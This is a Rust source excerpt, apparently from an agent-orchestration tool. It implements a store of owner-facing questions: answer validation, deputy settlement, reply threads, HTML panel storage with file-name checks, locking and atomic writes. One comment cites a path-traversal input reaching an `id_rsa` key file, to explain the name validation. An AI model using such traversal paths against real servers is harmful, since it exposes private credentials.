871    pub fn resolve_reply<'a>(&'a self, reply: &'a str) -> Result<&'a str> {
872        if self.free_text() || self.choices.iter().any(|c| c == reply) {
873            return Ok(reply);
874        }
875        if ChoiceAction::Hold.matches_alias(reply)
876            && let Some(label) = self
877                .choices
878                .iter()
879                .find(|label| crate::triage::contextual_keep_held(self, label))
880        {
881            return Ok(label);
882        }
883        let matches: Vec<_> = self
884            .actions
885            .iter()
886            .filter(|(label, action)| self.choices.contains(label) && action.matches_alias(reply))
887            .collect();
888        match matches.as_slice() {
889            [(label, _)] => Ok(label.as_str()),
890            [] => bail!(
891                "alias mismatch with offered choices: `{reply}` is not an offered label or supported action alias; exact labels: {}; inspect `magi answer --list`, copy the intended offered label verbatim into --reply, and retry once (action descriptions and bracketed annotations are not reply values)",
892                serde_json::to_string(&self.choices).expect("serialize labels")
893            ),
894            _ => bail!(
895                "ambiguous action alias: `{reply}` matches multiple choices; select the intended offered label"
896            ),
897        }
898    }
899
900    /// Record an answer. Rejects a choice the question does not offer, free
901    /// text on a multiple-choice question, an empty answer, and a second
902    /// answer.
903    ///
904    /// Every rejection here is a case where accepting would put a fabrication
905    /// in front of an agent as if the owner had said it. The messages are
906    /// distinct because the caller is a web handler that shows them verbatim,
907    /// and "that is not one of the choices" and "this question is multiple
908    /// choice" are different mistakes with different fixes.
909    pub fn answer(&mut self, answer: Answer) -> Result<()> {
910        self.answer_inner(answer)
911    }
912
913    /// Shared admission rule for answer routes and presentation controls.
914    pub fn can_answer(&self) -> bool {
915        self.status.open()
916    }
917
918    /// Optional chat buttons validate the displayed conversation and PR head.
919    pub(crate) fn answer_chat_button(
920        &mut self,
921        answer: Answer,
922        talk: &str,
923        head: &str,
924    ) -> Result<()> {
925        anyhow::ensure!(
926            self.routed_chat.as_deref() == Some(talk),
927            "wrong approval chat"
928        );
929        anyhow::ensure!(
930            self.merge_target.as_ref().is_some_and(|t| t.head == head),
931            "stale approval head"
932        );
933        self.answer_inner(answer)
934    }
935
936    fn answer_inner(&mut self, answer: Answer) -> Result<()> {
937        match (self.can_answer(), self.status) {
938            (false, QuestionStatus::Answered) => bail!(
939                "question {} was already answered; the run has moved on and a \
940                 second answer would be a decision nobody acted on",
941                self.short()
942            ),
943            (false, QuestionStatus::Abandoned) => bail!(
944                "question {} was abandoned and the run behind it is gone",
945                self.short()
946            ),
947            _ => {}
948        }
949        let body = match &answer {
950            Answer::Choice(c) | Answer::Text(c) => c.as_str(),
951        };
952        if body.trim().is_empty() {
953            bail!(
954                "question {} needs an answer; an empty one tells the agent \
955                 nothing and it would guess anyway",
956                self.short()
957            );
958        }
959        match &answer {
960            Answer::Choice(c) if self.free_text() => bail!(
961                "question {} asks for free text, so `{c}` cannot be a choice \
962                 it offered",
963                self.short()
964            ),
965            Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
966                "`{c}` is not one of the choices question {} offers: {}",
967                self.short(),
968                self.choices.join(", ")
969            ),
970            Answer::Text(_) if !self.free_text() => bail!(
971                "question {} is multiple choice; answer with one of: {}",
972                self.short(),
973                self.choices.join(", ")
974            ),
975            _ => {}
976        }
977        // `hold` is the safe word: it may carry the hold effect itself, but a
978        // producer that put any other effect behind it made a mistake.
979        if body.eq_ignore_ascii_case(crate::land::HOLD)
980            && self
981                .actions
982                .get(body)
983                .is_some_and(|a| *a != ChoiceAction::Hold)
984        {
985            bail!("hold cannot execute a question action");
986        }
987        self.answered_at = Some(Timestamp::now());
988        self.answer = Some(answer);
989        self.status = QuestionStatus::Answered;
990        Ok(())
991    }
992
993    /// Give up on an answer, keeping the record of what was asked.
994    ///
995    /// An answered question is left alone, which matters at exactly one moment:
996    /// the owner answering in the same second the wait's deadline passes. The
997    /// answer is the thing worth keeping there, and it has already been written
998    /// by another process.
999    ///
1000    /// The reason is appended to [`Question::detail`] because the on-disk shape
1001    /// is a contract with the front end and has no field of its own for it -
1002    /// and "asked at 3am, nobody home for a day" belongs with the question, not
1003    /// only in a log the operator will never open.
1004    pub fn abandon(&mut self, why: impl Into<String>) {
1005        if !self.status.open() {
1006            return;
1007        }
1008        self.status = QuestionStatus::Abandoned;
1009        let why = why.into();
1010        let why = why.trim();
1011        if why.is_empty() {
1012            return;
1013        }
1014        if !self.detail.is_empty() {
1015            self.detail.push('\n');
1016        }
1017        self.detail.push_str("\n_Abandoned: ");
1018        self.detail.push_str(why);
1019        self.detail.push_str("._\n");
1020    }
1021
1022    /// The answer as the asking agent should read it.
1023    ///
1024    /// One string for both kinds of question: the agent's prompt says "the
1025    /// owner answered:", and a chosen option and a typed sentence are the same
1026    /// thing at that point. `None` while the question is open or abandoned, so
1027    /// a caller cannot mistake silence for a decision.
1028    pub fn resolution(&self) -> Option<String> {
1029        match (self.status, &self.answer) {
1030            (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
1031                Some(a.clone())
1032            }
1033            _ => None,
1034        }
1035    }
1036
1037    /// A deputy recording the owner's decision, read from the owner's words.
1038    ///
1039    /// The owner decided in free text ("setup done", "merge it") on a
1040    /// question that offers choices, so no choice was ever tapped. This
1041    /// records `label` as the answer - and nothing else: applying it is the
1042    /// daemon's or component's existing path for an answered question. The
1043    /// deputy's reading of the owner's words is the authority; no quote is
1044    /// needed. Refused only when the question is routed to a task chat (that
1045    /// chat settles it), the caller is not this question's deputy seat,
1046    /// `label` is not an offered choice, or the question is no longer open.
1047    /// `note` is the deputy's optional explanation, kept with the record.
1048    pub fn settle_by_deputy(&mut self, seat: &str, label: &str, note: Option<&str>) -> Result<()> {
1049        if self.routed_task.is_some() {
1050            bail!("task decisions are handled by the task chat, not a deputy");
1051        }
1052        let Some(deputy) = &self.deputy else {
1053            bail!("question {} has no deputy", self.short());
1054        };
1055        let own = deputy.seat.as_ref().map(|s| s.key.as_str());
1056        if own != Some(seat) {
1057            bail!("only the deputy of question {} may settle it", self.short());
1058        }
1059        if !self.choices.iter().any(|c| c == label) {
1060            bail!(
1061                "`{label}` is not one of the choices offered on question {}",
1062                self.short()
1063            );
1064        }
1065        self.answer(Answer::Choice(label.to_owned()))?;
1066        self.thread.push(Turn {
1067            who: Who::Agent,
1068            body: format!("Settled as `{label}` on the owner's words."),
1069            at: Timestamp::now(),
1070            note: note
1071                .map(str::trim)
1072                .filter(|n| !n.is_empty())
1073                .map(str::to_owned),
1074        });
1075        self.delivered_turns = self.thread.len();
1076        Ok(())
1077    }
1078
1079    /// The owner speaking back without answering: a request for context, a
1080    /// clarifying question, anything short of a decision.
1081    ///
1082    /// Rejects the same two states [`Question::answer`] does, and for the same
1083    /// reason - a question with a recorded [`Answer`] or an abandoned one has
1084    /// no run left listening for a reply - and an empty turn, which would tell
1085    /// the agent nothing it didn't already know. Never changes `status`: the
1086    /// question stays [`QuestionStatus::Open`], because the owner did not
1087    /// decide anything, they only spoke, and `count_open`/`open_for` must keep
1088    /// counting this as the one question it always was.
1089    pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
1090        match self.status {
1091            QuestionStatus::Answered => bail!(
1092                "question {} was already answered; there is nothing left to \
1093                 discuss",
1094                self.short()
1095            ),
1096            QuestionStatus::Abandoned => bail!(
1097                "question {} was abandoned and the run behind it is gone",
1098                self.short()
1099            ),
1100            QuestionStatus::Open => {}
1101        }
1102        let body = body.into();
1103        if body.trim().is_empty() {
1104            bail!("a message to question {} cannot be empty", self.short());
1105        }
1106        self.thread.push(Turn {
1107            who: Who::Operator,
1108            body,
1109            at: Timestamp::now(),
1110            note: None,
1111        });
1112        Ok(())
1113    }
1114
1115    /// The agent replying to the owner's last word, in place of an answer:
1116    /// same question, same id, another round.
1117    ///
1118    /// `choices` replaces [`Question::choices`] wholesale rather than merging,
1119    /// on the same reasoning [`Questions::put_panel`] replaces a panel
1120    /// wholesale: the whole point of asking back is that what should be
1121    /// offered next may have changed, and a caller that wanted the old set
1122    /// unchanged can simply pass it again. An empty `Vec` means free text,
1123    /// exactly as it does when the question is first asked.
1124    pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
1125        match self.status {
1126            QuestionStatus::Answered => bail!(
1127                "question {} was already answered; replying now would not \
1128                 reach anyone",
1129                self.short()
1130            ),
1131            QuestionStatus::Abandoned => bail!(
1132                "question {} was abandoned and the run behind it is gone",
1133                self.short()
1134            ),
1135            QuestionStatus::Open => {}
1136        }
1137        let body = body.into();
1138        if body.trim().is_empty() {
1139            bail!("a reply to question {} cannot be empty", self.short());
1140        }
1141        // An action whose label is no longer offered could never fire.
1142        self.actions.retain(|label, _| choices.contains(label));
1143        self.choices = choices;
1144        let unread = self.unread_from_owner().is_some();
1145        self.thread.push(Turn {
1146            who: Who::Agent,
1147            body,
1148            at: Timestamp::now(),
1149            note: None,
1150        });
1151        // The agent has read everything up to its own reply - but only if
1152        // nothing the owner said in the meantime is still unread. A second say
1153        // that landed after the agent's last look must stay undelivered.
1154        if !unread {
1155            self.delivered_turns = self.thread.len();
1156        }
1157        Ok(())
1158    }
1159
1160    /// What the owner said that the agent has not read yet, oldest first,
1161    /// joined. `None` unless the question is open and such a turn exists.
1162    ///
1163    /// Not [`Question::waiting_on_agent`]: an agent's reply can land *after* a
1164    /// second owner turn it never saw, which leaves the last turn the agent's
1165    /// and the ball apparently back with the owner while a say is still unread.
1166    pub fn unread_from_owner(&self) -> Option<String> {
1167        if !self.status.open() {
1168            return None;
1169        }
1170        let said = self.undelivered_owner_turns();
1171        (!said.is_empty()).then(|| said.join("\n\n"))
1172    }
1173
1174    /// Owner turns the agent has not been handed yet, oldest first, whatever
1175    /// the question's status. [`Question::unread_from_owner`] adds the "still
1176    /// open" guard the waiter and the deputy rely on; an answer being handed
1177    /// over needs the says that came before it even though the question is
1178    /// closed by then.
1179    pub fn undelivered_owner_turns(&self) -> Vec<&str> {
1180        let from = self.delivered_turns.min(self.thread.len());
1181        self.thread[from..]
1182            .iter()
1183            .filter(|t| t.who == Who::Operator)
1184            .map(|t| t.body.as_str())
1185            .collect()
1186    }
1187
1188    /// When the conversation last moved: the newest thread turn, or the asking
1189    /// itself, in seconds. `magi ask --thread` re-arms `answer_timeout` on
1190    /// every reply, so a deadline runs from here and not from `asked_at`.
1191    pub fn last_activity(&self) -> i64 {
1192        self.thread
1193            .iter()
1194            .map(|t| t.at.as_second())
1195            .max()
1196            .unwrap_or(0)
1197            .max(self.asked_at.as_second())
1198    }
1199
1200    /// Is the ball in the agent's court?
1201    ///
1202    /// True from the moment the owner speaks back until the agent's next
1203    /// [`Question::reply`], and never on a fresh or an already-settled
1204    /// question. [`QuestionStatus`] does not move for either side of this -
1205    /// see [`Question::say`] - so this is the one place that state is
1206    /// readable at all, which is why [`crate::web::QuestionView`] carries it
1207    /// separately rather than asking the phone to infer it from the thread.
1208    pub fn waiting_on_agent(&self) -> bool {
1209        self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
1210    }
1211
1212    /// Should a notification go out right now?
1213    ///
1214    /// Always, for the very first ask: [`Question::thread`] is still empty, so
1215    /// there is no earlier operator turn to have already caught anyone's
1216    /// attention. After that, only once [`REPLY_QUIET_WINDOW`] has passed
1217    /// since the owner's own last word - see that constant for why the window
1218    /// exists at all and why its length is not configurable.
1219    fn should_notify(&self, now: Timestamp) -> bool {
1220        let Some(last) = self
1221            .thread
1222            .iter()
1223            .rev()
1224            .find(|t| t.who == Who::Operator)
1225            .map(|t| t.at)
1226        else {
1227            return true;
1228        };
1229        now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
1230    }
1231}
1232
1233/// A question store on disk.
1234#[derive(Debug, Clone)]
1235pub struct Questions {
1236    root: PathBuf,
1237}
1238
1239impl Questions {
1240    /// The operator's questions, `<home>/questions`.
1241    pub fn open() -> Self {
1242        Self::at(crate::run::home().join("questions"))
1243    }
1244
1245    /// A store at an explicit root. Tests use this, which is why none of them
1246    /// need the operator's real home.
1247    pub fn at(root: PathBuf) -> Self {
1248        Self { root }
1249    }
1250
1251    /// Directory holding the question files.
1252    pub fn root(&self) -> &Path {
1253        &self.root
1254    }
1255
1256    /// Path for one question id.
1257    pub fn path_of(&self, id: &str) -> PathBuf {
1258        self.root.join(format!("{id}.json"))
1259    }
1260
1261    /// Directory holding one question's panel, `<root>/<id>.panel`.
1262    pub fn panel_dir(&self, id: &str) -> PathBuf {
1263        self.root.join(format!("{id}{PANEL_DIR}"))
1264    }
1265
1266    /// Store a panel: the html, plus `assets` copied in under their base
1267    /// names. Updates `q.panel` and `q.assets`; the caller then [`put`]s the
1268    /// question, or the record on disk will deny having a panel that exists.
1269    ///
1270    /// The assets are **copied, not referenced**. An agent authors its panel
1271    /// inside a candidate worktree and points at files there, and `magi fold`
1272    /// deletes those worktrees; a question is the permanent record of a
1273    /// decision the owner took, so a panel that referenced its own images
1274    /// would render as broken boxes exactly when someone went back to ask why
1275    /// the decision was made. Copying follows symlinks - [`std::fs::copy`]
1276    /// does, and so does the [`std::fs::metadata`] the size is measured with,
1277    /// so the bytes counted and the bytes written are the same target file's -
1278    /// which is the intent: storing a link would leave the panel pointing at
1279    /// the worktree again, one indirection further away.
1280    ///
1281    /// Everything that can be rejected is rejected before the first byte is
1282    /// written, and the panel is then assembled in a scratch directory and
1283    /// swapped in. So a refusal leaves the previous panel intact, and a
1284    /// success replaces it *wholesale* rather than merging: a re-asked
1285    /// question showing one attempt's diff next to another attempt's table
1286    /// would be a panel neither agent ever wrote.
1287    ///
1288    /// [`put`]: Questions::put
1289    pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
1290        if !valid_asset_name(&q.id) {
1291            bail!(
1292                "question id `{}` is not a name magi will build a panel path from",
1293                q.id
1294            );
1295        }
1296        if html.trim().is_empty() {
1297            bail!(
1298                "question {} was handed an empty panel; an empty frame reads to \
1299                 the owner as \"the agent had nothing to say\", which is a lie",
1300                q.short()
1301            );
1302        }
1303
1304        // Names, then sizes, then writing - in that order, so nothing below
1305        // can leave a partial panel on disk.
1306        let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
1307        for src in assets {
1308            let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
1309            if !valid_asset_name(name) {
1310                bail!(
1311                    "panel asset `{}` cannot be stored: a panel file name must \
1312                     match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
1313                    src.display()
1314                );
1315            }
1316            if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
1317                bail!(
1318                    "two panel assets are both named `{name}` - {} and {} - and \
1319                     the panel can only show one of them; rename one at the source",
1320                    first.display(),
1321                    src.display()
1322                );
1323            }
1324            named.push((name.to_owned(), src.as_path()));
1325        }
1326
1327        let mut total = html.len() as u64;
1328        for (_, src) in &named {
1329            let meta = std::fs::metadata(src)
1330                .with_context(|| format!("stat panel asset {}", src.display()))?;
1331            if !meta.is_file() {
1332                bail!(
1333                    "panel asset `{}` is not a file; a panel is html plus files \
1334                     copied beside it",
1335                    src.display()
1336                );
1337            }
1338            total = total.saturating_add(meta.len());
1339        }
1340        if total > PANEL_MAX_BYTES {
1341            bail!(
1342                "panel for question {} is {total} bytes, over magi's cap of \
1343                 {PANEL_MAX_BYTES} bytes; nothing was written",
1344                q.short()
1345            );
1346        }
1347
1348        let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1349        let dir = self.panel_dir(&q.id);
1350        std::fs::create_dir_all(&self.root)
1351            .with_context(|| format!("create {}", self.root.display()))?;
1352        clear_dir(&tmp)?;
1353        std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1354        if let Err(e) = fill_panel(&tmp, html, &named) {
1355            // A copy that dies halfway must not become the panel, and must not
1356            // leave scratch behind for the next call to inherit.
1357            let _ = std::fs::remove_dir_all(&tmp);
1358            return Err(e);
1359        }
1360        clear_dir(&dir)?;
1361        std::fs::rename(&tmp, &dir)
1362            .with_context(|| format!("move panel into {}", dir.display()))?;
1363
1364        q.panel = true;
1365        q.assets = named.into_iter().map(|(n, _)| n).collect();
1366        q.assets.sort_unstable();
1367        Ok(())
1368    }
1369
1370    /// The panel's html, or `None` when the question has no panel.
1371    ///
1372    /// `None` rather than an error for a missing panel because the caller is a
1373    /// web handler whose answer is 404 either way, and an unreadable panel is
1374    /// not a reason to fail the question it belongs to.
1375    pub fn panel_html(&self, id: &str) -> Option<String> {
1376        if !valid_asset_name(id) {
1377            return None;
1378        }
1379        std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1380    }
1381
1382    /// One file from a panel. `Ok(None)` is "no such file"; `Err` is "that is
1383    /// not a name a panel file can have".
1384    ///
1385    /// Rejects a name failing [`valid_asset_name`] **before touching the
1386    /// filesystem**, which is the whole point of the second check: the name
1387    /// arrives from a URL, the directory is on disk where any process could
1388    /// have dropped a file, and `<root>/<id>.panel/../../id_rsa` is a path the
1389    /// operating system would resolve perfectly happily. The two callers'
1390    /// distinct outcomes - 400 for a name, 404 for a file - are why this is
1391    /// `Result<Option<_>>` rather than one flattened `Option`.
1392    pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1393        if !valid_asset_name(name) {
1394            bail!(
1395                "`{name}` is not a panel file name; it must match \
1396                 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1397            );
1398        }
1399        if !valid_asset_name(id) {
1400            return Ok(None);
1401        }
1402        let dir = self.panel_dir(id);
1403        if !dir.is_dir() {
1404            return Ok(None);
1405        }
1406        let path = dir.join(name);
1407        match std::fs::read(&path) {
1408            Ok(bytes) => Ok(Some(bytes)),
1409            Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1410            Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1411        }
1412    }
1413
1414    /// Delete a question's panel, and any scratch a killed [`put_panel`] left.
1415    ///
1416    /// Succeeds when there is nothing to delete, so a caller cleaning up does
1417    /// not have to know whether a panel was ever written. The question record
1418    /// is not touched: the caller clears `panel` and `assets` and `put`s it,
1419    /// in the same order as everywhere else here.
1420    ///
1421    /// [`put_panel`]: Questions::put_panel
1422    pub fn drop_panel(&self, id: &str) -> Result<()> {
1423        if !valid_asset_name(id) {
1424            bail!("question id `{id}` is not a name magi will build a panel path from");
1425        }
1426        clear_dir(&self.panel_dir(id))?;
1427        clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1428    }
1429
1430    /// Path of the lease sidecar for one question id.
1431    pub fn lease_path(&self, id: &str) -> PathBuf {
1432        self.root.join(format!("{id}.lease"))
1433    }
1434
1435    /// The lease on a question, if a readable one exists.
1436    pub fn read_lease(&self, id: &str) -> Option<Lease> {
1437        let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1438        serde_json::from_str(&body).ok()
1439    }
1440
1441    /// Say, as `kind`, that something is alive and waiting on this question.
1442    ///
1443    /// Best-effort: a beat that cannot be written is a `tracing::debug`, never
1444    /// a reason to abandon a wait - the worst it costs is the waiter deciding
1445    /// the holder is gone a little early, and that is what the delivery guard
1446    /// (the seat still being busy) is there for.
1447    pub fn beat(&self, id: &str, kind: WaiterKind) {
1448        let lease = Lease {
1449            kind,
1450            pid: std::process::id(),
1451            beat_at: Timestamp::now(),
1452        };
1453        let path = self.lease_path(id);
1454        let tmp = path.with_extension("lease.tmp");
1455        let written = std::fs::create_dir_all(&self.root)
1456            .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1457            .and_then(|()| std::fs::rename(&tmp, &path));
1458        if let Err(e) = written {
1459            tracing::debug!("could not beat the lease on question {id}: {e}");
1460        }
1461    }
1462
1463    /// Remove the lease sidecar. Absent is fine.
1464    pub fn drop_lease(&self, id: &str) {
1465        let _ = std::fs::remove_file(self.lease_path(id));
1466    }
1467
1468    /// Read-modify-write one question under a short exclusive lock, so the
1469    /// waiter's bookkeeping, the asker's and the phone's `say` cannot overwrite
1470    /// each other with a copy that predates the others.
1471    ///
1472    /// [`Questions::put`] is an atomic *replace*, which protects a reader from
1473    /// a torn file and does nothing for two writers that both read the same
1474    /// version first. Everything that changes a question that can still be
1475    /// answered goes through here: `f` sees the current record, not one loaded
1476    /// earlier. A lock older than [`LOCK_STALE`] belongs to a writer that died
1477    /// mid-update and is broken.
1478    pub fn update<T>(
1479        &self,
1480        id: &str,
1481        f: impl FnOnce(&mut Question) -> Result<T>,
1482    ) -> Result<(Question, T)> {
1483        self.update_in(id, &crate::task_chat::InquiryOwnership::default(), f)
1484    }
1485
1486    pub(crate) fn update_in<T>(
1487        &self,
1488        id: &str,
1489        ownership: &crate::task_chat::InquiryOwnership,
1490        f: impl FnOnce(&mut Question) -> Result<T>,
1491    ) -> Result<(Question, T)> {
1492        std::fs::create_dir_all(&self.root)
1493            .with_context(|| format!("create {}", self.root.display()))?;
1494        let lock = self.root.join(format!("{id}.lock"));
1495        let started = std::time::Instant::now();
1496        let retry = crate::lock_file::Retry::new(Some(started + LOCK_STALE));
1497        loop {
1498            match retry.create(&lock) {
1499                Ok(_) => break,
1500                Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1501                    let stale = std::fs::metadata(&lock)
1502                        .and_then(|m| m.modified())
1503                        .ok()
1504                        .and_then(|t| t.elapsed().ok())
1505                        .is_some_and(|age| age > LOCK_STALE);
1506                    if stale {
1507                        let _ = std::fs::remove_file(&lock);
1508                    } else if started.elapsed() > LOCK_STALE {
1509                        bail!("could not lock question {id}");
1510                    } else {
1511                        std::thread::sleep(Duration::from_millis(15));
1512                    }
1513                }
1514                Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1515            }
1516        }
1517        struct Unlock(PathBuf);
1518        impl Drop for Unlock {
1519            fn drop(&mut self) {
1520                let _ = std::fs::remove_file(&self.0);
1521            }
1522        }
1523        let _guard = Unlock(lock);
1524        let mut q = read_path(&self.path_of(id))?;
1525        let effective_dismissal = |q: &Question| {
1526            q.resolution().as_deref() == Some(crate::merge_decision::DISMISS)
1527                && !self.root.parent().is_some_and(|home| {
1528                    crate::task_chat::migrated_source_in(home, &q.id, ownership)
1529                        && crate::task_chat::source_reply_needs_confirmation(home, q)
1530                })
1531        };
1532        let was_dismissed = effective_dismissal(&q);
1533        let prior_answer = (q.answered_at, q.resolution());
1534        let out = f(&mut q)?;
1535        if q.resolution().is_some() && prior_answer != (q.answered_at, q.resolution()) {
1536            let home = self.root.parent().context("question store has no home")?;
1537            q.accepted_answer_at = q.answered_at;
1538            crate::task_chat::accept_fresh_reply(home, &q, ownership)?;
1539        }
1540        if !was_dismissed && effective_dismissal(&q) {
1541            let home = self.root.parent().context("question store has no home")?;
1542            crate::merge_decision::dismiss(home, &q)?;
1543        }
1544        self.put_in(&mut q, ownership)?;
1545        Ok((q, out))
1546    }
1547
1548    /// File a component-owned question only when every choice has an effect.
1549    /// Legacy records remain readable; this is deliberately a creation check.
1550    pub fn put_executable(&self, q: &mut Question) -> Result<()> {
1551        self.put_executable_in(q, &crate::task_chat::InquiryOwnership::default())
1552    }
1553
1554    pub(crate) fn put_executable_in(
1555        &self,
1556        q: &mut Question,
1557        ownership: &crate::task_chat::InquiryOwnership,
1558    ) -> Result<()> {
1559        anyhow::ensure!(
1560            q.actions.keys().all(|c| q.choices.contains(c)),
1561            "question action names an unoffered choice"
1562        );
1563        for label in &q.choices {
1564            anyhow::ensure!(
1565                crate::choice_effect::describe(q, label).is_some(),
1566                "question node {} offers an unsupported choice: {label}",
1567                q.node
1568            );
1569        }
1570        self.put_in(q, ownership)
1571    }
1572
1573    /// Write a question, atomically, so a process killed mid-write leaves the
1574    /// previous state readable rather than a truncated file that would strand
1575    /// the run waiting on it.
1576    pub fn put(&self, q: &mut Question) -> Result<()> {
1577        self.put_in(q, &crate::task_chat::InquiryOwnership::default())
1578    }
1579
1580    pub(crate) fn put_in(
1581        &self,
1582        q: &mut Question,
1583        ownership: &crate::task_chat::InquiryOwnership,
1584    ) -> Result<()> {
1585        if self.path_of(&q.id).exists()
1586            && let Ok(saved) = self.read_history(&q.id)
1587            && self.held_reply_in(&q.id, ownership)
1588            && (saved.status != q.status
1589                || saved.answer != q.answer
1590                || saved.answered_at != q.answered_at)
1591            && !(q.answer.is_some()
1592                && q.accepted_answer_at.is_some()
1593                && q.accepted_answer_at == q.answered_at)
1594        {
1595            bail!(
1596                "historical question {} requires inquiry reconciliation or explicit settlement; its saved reply cannot expire or be overwritten",
1597                q.id
1598            );
1599        }
1600        if q.status.open()
1601            && q.routed_task.is_none()
1602            && let Some(home) = self.root.parent()
1603        {
1604            q.routed_task = ownership
1605                .task_of(home, q)
1606                .filter(|_| crate::task_chat::chat_routable(q));
1607        }
1608        std::fs::create_dir_all(&self.root)
1609            .with_context(|| format!("create {}", self.root.display()))?;
1610        let body = serde_json::to_string_pretty(q).context("serialize question")?;
1611        let path = self.path_of(&q.id);
1612        let tmp = path.with_extension("json.tmp");
1613        let is_new = !path.exists();
1614        std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1615        std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1616        // A first write of an open question pages the operator, so a separate
1617        // notification about the same task or run is now a second page.
1618        if is_new
1619            && q.status.open()
1620            && q.node != crate::bump::NOTICE_NODE
1621            && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1622        {
1623            crate::notices::quiet_for(home, q);
1624        }
1625        Ok(())
1626    }
1627
1628    /// Decode an exact saved record for migration without repair upgrades,
1629    /// routing writes, lease changes or any other operational side effect.
1630    pub(crate) fn read_history(&self, id: &str) -> Result<Question> {
1631        anyhow::ensure!(
1632            !id.is_empty() && !id.contains(['/', '\\']) && id != "." && id != "..",
1633            "invalid saved inquiry identity"
1634        );
1635        let q = read_path(&self.path_of(id))?;
1636        anyhow::ensure!(
1637            q.id == id,
1638            "saved inquiry identity does not match its filename"
1639        );
1640        Ok(q)
1641    }
1642
1643    /// Load a question by id or unambiguous id prefix.
1644    pub fn get(&self, id: &str) -> Result<Question> {
1645        let resolved = self.resolve_id(id)?;
1646        let q = read_path(&self.path_of(&resolved))?;
1647        Ok(self.with_repair_choice(q))
1648    }
1649
1650    /// Execution-only projection: saved consent is never a new request.
1651    /// UI and API readers must use `get` / `list`, which retain saved status.
1652    pub fn get_for_effects(&self, id: &str) -> Result<Question> {
1653        self.get_for_effects_in(id, &crate::task_chat::InquiryOwnership::default())
1654    }
1655
1656    pub(crate) fn get_for_effects_in(
1657        &self,
1658        id: &str,
1659        ownership: &crate::task_chat::InquiryOwnership,
1660    ) -> Result<Question> {
1661        let resolved = self.resolve_id(id)?;
1662        let q = self.with_repair_choice_in(read_path(&self.path_of(&resolved))?, ownership);
1663        let migrated = self
1664            .root
1665            .parent()
1666            .is_some_and(|home| crate::task_chat::migrated_source_in(home, &q.id, ownership));
1667        Ok(self.consumption_view_in(q, migrated, ownership))
1668    }
1669
1670    /// Whether this source is quarantined saved consent, including history
1671    /// without a current consumer. It must not expire into a default action.
1672    pub(crate) fn held_reply(&self, id: &str) -> bool {
1673        self.held_reply_in(id, &crate::task_chat::InquiryOwnership::default())
1674    }
1675
1676    pub(crate) fn held_reply_in(
1677        &self,
1678        id: &str,
1679        ownership: &crate::task_chat::InquiryOwnership,
1680    ) -> bool {
1681        self.read_history(id).is_ok_and(|q| {
1682            self.root.parent().is_some_and(|home| {
1683                (crate::task_chat::migrated_source_in(home, &q.id, ownership)
1684                    && crate::task_chat::source_reply_needs_confirmation(home, &q))
1685                    || crate::task_inquiry::Outbox::at(home)
1686                        .get(id)
1687                        .is_ok_and(|record| {
1688                            record.decision.is_some_and(|d| {
1689                                d.legacy_settled
1690                                    && d.status == crate::task_decision::Status::Resolved
1691                            })
1692                        })
1693            })
1694        })
1695    }
1696
1697    // Keep the source JSON intact for the passive history decoder. Every
1698    // operational reader sees an unanswered hold until a fresh owner answer
1699    // exists; neither delivery nor a saved legacy reply supplies that authority.
1700    fn consumption_view_in(
1701        &self,
1702        mut q: Question,
1703        migrated: bool,
1704        ownership: &crate::task_chat::InquiryOwnership,
1705    ) -> Question {
1706        if self.root.parent().is_some_and(|home| {
1707            crate::task_inquiry::Outbox::at(home)
1708                .get(&q.id)
1709                .is_ok_and(|record| {
1710                    record.decision.is_some_and(|d| {
1711                        d.legacy_settled && d.status == crate::task_decision::Status::Resolved
1712                    })
1713                })
1714        }) {
1715            // Settlement executes nothing, including a consumer's default
1716            // branch for abandoned questions. The native decision is resolved;
1717            // legacy consumers remain fenced from both consent and fallback.
1718            q.answer = None;
1719            q.answered_at = None;
1720            q.answer_authority = None;
1721            q.status = QuestionStatus::Open;
1722            return q;
1723        }
1724        if let Some(home) = self.root.parent()
1725            && migrated
1726            && !crate::task_chat::standalone_inquiry_in(home, &q, ownership)
1727            && crate::task_chat::source_reply_needs_confirmation(home, &q)
1728        {
1729            let saved = q.resolution().unwrap_or_default();
1730            q.detail.push_str(&format!(
1731                "\n\nSaved reply (history only; no new owner request): {saved}"
1732            ));
1733            q.answer = None;
1734            q.answered_at = None;
1735            q.answer_authority = None;
1736            // Archival or a receipt is not a new unanswered question, nor
1737            // permission to take a consumer's abandoned/timeout fallback.
1738            q.status = QuestionStatus::Open;
1739        }
1740        q
1741    }
1742
1743    fn with_repair_choice(&self, q: Question) -> Question {
1744        self.with_repair_choice_in(q, &crate::task_chat::InquiryOwnership::default())
1745    }
1746
1747    fn with_repair_choice_in(
1748        &self,
1749        mut q: Question,
1750        ownership: &crate::task_chat::InquiryOwnership,
1751    ) -> Question {
1752        // Older local release approvals already persisted their displayed head
1753        // in the watch record. Recover that binding, never today's forge head.
1754        if q.status.open()
1755            && q.merge_target.is_none()
1756            && let Some(home) = self.root.parent()
